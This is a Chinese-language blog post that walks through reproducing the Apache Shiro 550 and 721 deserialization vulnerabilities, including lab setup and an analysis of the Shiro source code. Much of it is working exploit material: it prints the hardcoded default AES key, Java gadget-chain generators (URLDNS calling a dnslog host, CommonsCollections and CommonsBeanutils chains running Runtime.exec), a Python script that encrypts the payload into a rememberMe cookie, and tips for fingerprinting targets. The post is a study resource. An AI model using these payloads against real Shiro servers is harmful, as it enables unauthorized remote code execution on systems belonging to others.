shiro框架漏洞

Apache Shiro

Apache Shiro 是⼀个功能强⼤且易于使⽤的 Java 安全框架,它⽤于处理身份验证,授权,加密和会话
管理
在默认情况下 , Apache Shiro 使⽤ CookieRememberMeManager 对⽤户身份进⾏序列化/反序列化 , 加
密/解密和编码/解码 , 以供以后检索 .
因此 , 当 Apache Shiro 接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份.
从请求数据包中提取 Cookie 中 rememberMe 字段的值,对提取的 Cookie 值进⾏ Base64 解码,对
Base64 解码后的值进⾏ AES 解密,对解密后的字节数组调⽤ ObjectInputStream.readObject() ⽅法来
反序列化.
但是默认AES加密密钥是 “硬编码” 在代码中的 . 因此 , 如果服务端采⽤默认加密密钥 , 那么攻击者就可以
构造⼀个恶意对象 , 并对其进⾏序列化 , AES加密 , Base64编码 , 将其作为 Cookie 中 rememberMe 字段
值发送 . Apache Shiro 在接收到请求时会反序列化恶意对象 , 从⽽执⾏攻击者指定的任意代码 .
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产⽣原因是因为shiro接受了Cookie⾥⾯rememberMe
的值,然后去进⾏Base64解密后,再使⽤aes密钥解密后的数据,进⾏反序列化。
构造该值为⼀个利⽤链序列化后的值进⾏该密钥aes加密后进⾏base64加密,反序列化payload内容后就
可以命令执⾏。

shiro550 shiro <1.2.4漏洞复现

环境搭建
shiro下载 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
环境 tomcat 8.5
jdk版本 1.8.0.65
idea 2021
⽤idea开 shiro-shiro-root-1.2.4\samples 设置⼀下pox.xml maven更新包
修改pom.xml 修改⼀下版本

 <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>

如果测试cc3依赖可以添加

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>


如果测试cc4

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.1</version>
</dependency>

当前测试测试环境pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>run.ergou</groupId>
    <artifactId>JavaSec</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <!--LDAP Server 提供内存⽬录服务-->
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.9</version>
        </dependency>
        <!--Log4j-->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.20.0-GA</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
       </dependency>
        <!--JNDI⾼版本限制绕过-加载本地类-->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper-el</artifactId>
            <version>8.5.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.0</version>
        </dependency>
    </dependencies>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
</project>

接着添加tomcat


接着启动tomcat即可

1.漏洞分析

shiro默认使⽤了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然⽽AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修
改默认的密钥,就⾃⼰可以⽣成恶意构造的cookie了。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是
之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会
有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

2.代码分析

代码分析 ⾸先找到 org/apache/shiro/web/mgt/CookieRememberMeManager.java

public class CookieRememberMeManager extends AbstractRememberMeManager {
    //TODO - complete JavaDoc
    private static transient final Logger log =
LoggerFactory.getLogger(CookieRememberMeManager.class);
    /**
     * The default name of the underlying rememberMe cookie which is
{@code rememberMe}.
     */
    public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME =
"rememberMe";
    private Cookie cookie;
    /**
     * Constructs a new {@code CookieRememberMeManager} with a default
{@code rememberMe} cookie template.
     */
    public CookieRememberMeManager() {
        Cookie cookie = new
SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
        cookie.setHttpOnly(true);
        //One year should be long enough - most sites won't object to
requiring a user to log in if they haven't visited
        //in a year:
        cookie.setMaxAge(Cookie.ONE_YEAR);
        this.cookie = cookie;
   }
    /**
     * Returns the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created by
     * this {@code RememberMeManager}. Outgoing cookies will match this
one except for the
     * {@link Cookie#getValue() value} attribute, which is necessarily
set dynamically at runtime.
     * <p/>
     * Please see the class-level JavaDoc for the default cookie's
attribute values.
     *
     * @return the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created by
     *         this {@code RememberMeManager}.
  */
    public Cookie getCookie() {
        return cookie;
   }
    /**
     * Sets the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created by
     * this {@code RememberMeManager}. Outgoing cookies will match this
one except for the
     * {@link Cookie#getValue() value} attribute, which is necessarily
set dynamically at runtime.
     * <p/>
     * Please see the class-level JavaDoc for the default cookie's
attribute values.
     *
     * @param cookie the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created
     *               by this {@code RememberMeManager}.
     */
    @SuppressWarnings({"UnusedDeclaration"})
    public void setCookie(Cookie cookie) {
        this.cookie = cookie;
   }
    /**
     * Base64-encodes the specified serialized byte array and sets that
base64-encoded String as the cookie value.
     * <p/>
     * The {@code subject} instance is expected to be a {@link
WebSubject} instance with an HTTP Request/Response pair
     * so an HTTP cookie can be set on the outgoing response. If it is
not a {@code WebSubject} or that
     * {@code WebSubject} does not have an HTTP Request/Response pair,
this implementation does nothing.
     *
     * @param subject   the Subject for which the identity is being
serialized.
     * @param serialized the serialized bytes to be persisted.
     */
    protected void rememberSerializedIdentity(Subject subject, byte[]
serialized) {
        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware
instance. This is required to obtain a servlet " +
 "request and response in order to set the
rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
           }
            return;
       }
        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response =
WebUtils.getHttpResponse(subject);
        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);
        Cookie template = getCookie(); //the class attribute is really a
template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
   }
    private boolean isIdentityRemoved(WebSubjectContext subjectContext)
{
        ServletRequest request = subjectContext.resolveServletRequest();
        if (request != null) {
            Boolean removed = (Boolean)
request.getAttribute(ShiroHttpServletRequest.IDENTITY_REMOVED_KEY);
            return removed != null && removed;
       }
        return false;
   }
    /**
     * Returns a previously serialized identity byte array or {@code
null} if the byte array could not be acquired.
     * This implementation retrieves an HTTP cookie, Base64-decodes the
cookie value, and returns the resulting byte
     * array.
     * <p/>
     * The {@code SubjectContext} instance is expected to be a {@link
WebSubjectContext} instance with an HTTP
     * Request/Response pair so an HTTP cookie can be retrieved from the
incoming request. If it is not a
     * {@code WebSubjectContext} or that {@code WebSubjectContext} does
not have an HTTP Request/Response pair, this
 * implementation returns {@code null}.
     *
     * @param subjectContext the contextual data, usually provided by a
{@link Subject.Builder} implementation, that
     *                       is being used to construct a {@link
Subject} instance. To be used to assist with data
     *                       lookup.
     * @return a previously serialized identity byte array or {@code
null} if the byte array could not be acquired.
     */
    protected byte[] getRememberedSerializedIdentity(SubjectContext
subjectContext) {
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTPaware instance. This is required to obtain a " +
                        "servlet request and response in order to
retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe
operation.";
                log.debug(msg);
           }
            return null;
       }
        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
       }
        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);
        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64
+ "]");
           }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
 log.trace("Base64 decoded byte array length: " +
(decoded != null ? decoded.length : 0) + " bytes.");
           }
            return decoded;
       } else {
            //no cookie set - new site visitor?
            return null;
       }
   }

找到 getRememberedSerializedIdentity⽅法

protected byte[] getRememberedSerializedIdentity(SubjectContext
subjectContext) {
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTPaware instance. This is required to obtain a " +
                        "servlet request and response in order to
retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
           }
            return null;
       }
        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
       }
        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);
        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 +
"]");
           }
            byte[] decoded = Base64.decode(base64); //这⾥需要base64解码
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded
!= null ? decoded.length : 0) + " bytes.");
           }
            return decoded;
       } else {
            //no cookie set - new site visitor?
            return null;
       }
   }

从代码上看到返回的是 base64解码之后的内容 接着寻找调⽤处

org/apache/shiro/mgt/AbstractRememberMeManager.java

 public PrincipalCollection getRememberedPrincipals(SubjectContext
subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes =
getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes
exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes,
subjectContext);
           }
       } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re,
subjectContext);
       }
        return principals;
   }

convertBytesToPrincipals

 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes,
SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
       }
        return deserialize(bytes);
   }

bytes = decrypt(bytes)的内容等会再看 现在 进⼊ deserialize

 protected PrincipalCollection deserialize(byte[] serializedIdentity)
{
        return getSerializer().deserialize(serializedIdentity);
   }

进⼊ deserialize 发现是⼀个接⼝ 接着寻找实现接⼝的类
org/apache/shiro/io/DefaultSerializer.java

 public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
       }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new
ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
       } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
       }
   }


发现调⽤原⽣的 T deserialized = (T) ois.readObject(); 导致存在反序列化漏洞
既然是硬编码反序列化漏洞 继续寻找 跟进 decrypt

 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes,
SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
       }
        return deserialize(bytes);
   }

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted,
getDecryptionCipherKey());
            serialized = byteSource.getBytes();
       }
        return serialized;
   }


getCipherService() 这⾥是获取密钥服务 加密⽅法是aes 跟进 decrypt getDecryptionCipherKey()

public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
   }


点击跟进 decryptionCipherKey 是⼀个私有字段 寻找赋值的地⽅

private byte[] encryptionCipherKey;

org/apache/shiro/mgt/AbstractRememberMeManager.java

  public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
        this.encryptionCipherKey = encryptionCipherKey;
   }

寻找 setEncryptionCipherKey调⽤
org/apache/shiro/mgt/AbstractRememberMeManager.java

 public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
   }


接着setCipherKey调⽤

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
   }

发现 DEFAULT_CIPHER_KEY_BYTES是⼀个常量

private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

kPH+bIxk5D2deZiIxcaaaA== 这个值就是shiro加密的硬编码

3.漏洞测试

⼀般测试都是⽤jdk原⽣态的URLDNS链

package shiro;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Urldns {
    public static void main(String[] args) throws Exception {
                /*
        利⽤链:
            ObjectInputStream#readObject() ->
HashMap.readObject(ObjectInputStream in)
            HashMap -> hash()
            URL -> hashCode()
            URLStreamHandler -> hashCode()
            URLStreamHandler -> getHostAddress()
            URL -> getHostAddress()
            InetAddress -> getByName()
         */
        HashMap hashMap = new HashMap();
        URL url = new URL("http://shiro.677jye.dnslog.cn");
        /*
        URL:
            private int hashCode = -1;
            public synchronized int hashCode() {
                if (hashCode != -1)
                    return hashCode;
                hashCode = handler.hashCode(this);
                return hashCode;
            }
        HashMap.put()和本利⽤链都会执⾏⾄URL.hashCode()
        */
        Field hashCodeField =
url.getClass().getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        // 阻⽌创建payload时触发请求
        hashCodeField.set(url, 0);
        hashMap.put(url, null);
// 使利⽤链执⾏时能够触发请求
        hashCodeField.set(url, -1);
        ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream(new File("ser.bin")));
        oos.writeObject(hashMap);
        oos.close();
   }
    
}

接着⽤脚本进⾏加密 kPH+bIxk5D2deZiIxcaaaA==这个编码⼀定对应。

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def get_file(name):
    with open(name,'rb') as f:
        data = f.read()
    return data
def en_aes(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %
BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    base64_ciphertext = base64.b64encode(iv +
encryptor.encrypt(pad(data)))
    return base64_ciphertext
if __name__ == '__main__':
    data = get_file("ser.bin")
    print(en_aes(data))


登录⽬标上勾上 Remember Me

4.深⼊利⽤

由于Shrio对resolveClass进⾏了修改,导致数组类⽆法加载,因此原⽣的cc链是⽆法直接使⽤的

cc链

package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc {
    public static void main(String[] args) throws NoSuchFieldException,
IllegalAccessException, IOException, NotFoundException,
CannotCompileException, ClassNotFoundException {
// 通过字节码构建恶意类
        ClassPool classPool= ClassPool.getDefault();
        String
AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.Abstrac
tTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
      
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().e
xec(\"calc\");");
        byte[] bytes=payload.toBytecode();
//CC3
        TemplatesImpl templates = new TemplatesImpl();
      // TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field nameField = aClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = aClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,new byte[][]{bytes});
//CC2
 InvokerTransformer invokerTransformer = new
InvokerTransformer("newTransformer", null, null);
//CC6
        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove(templates);
        Class<LazyMap> c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);
        serialize(map2);
   }
    public static void serialize(Object obj) throws IOException,
ClassNotFoundException {
        ObjectOutputStream objectOutputStream = new
ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        unserialize("test.out");
   }
    public static Object unserialize(String Filename) throws IOException,
ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new
FileInputStream(Filename));
        Object object = objectInputStream.readObject();
        return object;
   }
}



commons-beanutils cb 链⽆依赖利⽤链

package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
    // 修改值的⽅法,简化代码
    public static void setFieldValue(Object object, String fieldName,
Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
   }
    public static void main(String[] args) throws Exception {
        // 创建恶意类,⽤于报错抛出调⽤链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
      
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.
runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new
java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().e
xec(\"calc\");");
        byte[] evilClass = payload.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new
TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
beanComparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates,
templates});
        ObjectOutputStream out = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new
FileInputStream("ser.bin"));
        in.readObject();
   }
}

shiro721 CVE-2019-12422 漏洞详细

这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞,后者Shiro721是使⽤ 登录
后rememberMe= {value}去爆破正确的key值 进⽽反序列化,对⽐Shiro550条件只
要有 ⾜够密钥库 (条件⽐较低)、Shiro721需要登录(要求⽐较⾼鸡肋 )。
Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式

1.漏洞详细

shiro721⽤到的加密⽅式是AES-CBC,⽽且其中的ase加密的key基本猜不到了,是系统随机⽣成的。⽽
cookie解析过程跟cookie的解析过程⼀样,也就意味着如果能伪造恶意的rememberMe字段的值且⽬标
含有可利⽤的攻击链的话,还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。
下⾯会有单独的篇幅讲Padding Oracle Attack。

影响版本:

1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

详细 说明 参考 https://blog.csdn.net/qq_41874930/article/details/121314926 这个⾯试的时候经常
也是考点。

2.漏洞测试

⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包,判断服务器返回,攻击时间通常需要⼏个
⼩时。由于此漏洞利⽤起来耗时时间特别⻓,很容易被waf封禁,因此在真实的红队项⽬中,极少有此漏
洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。

posted @ 2022-10-22 15:05  Ray言午  阅读(516)  评论(0编辑  收藏  举报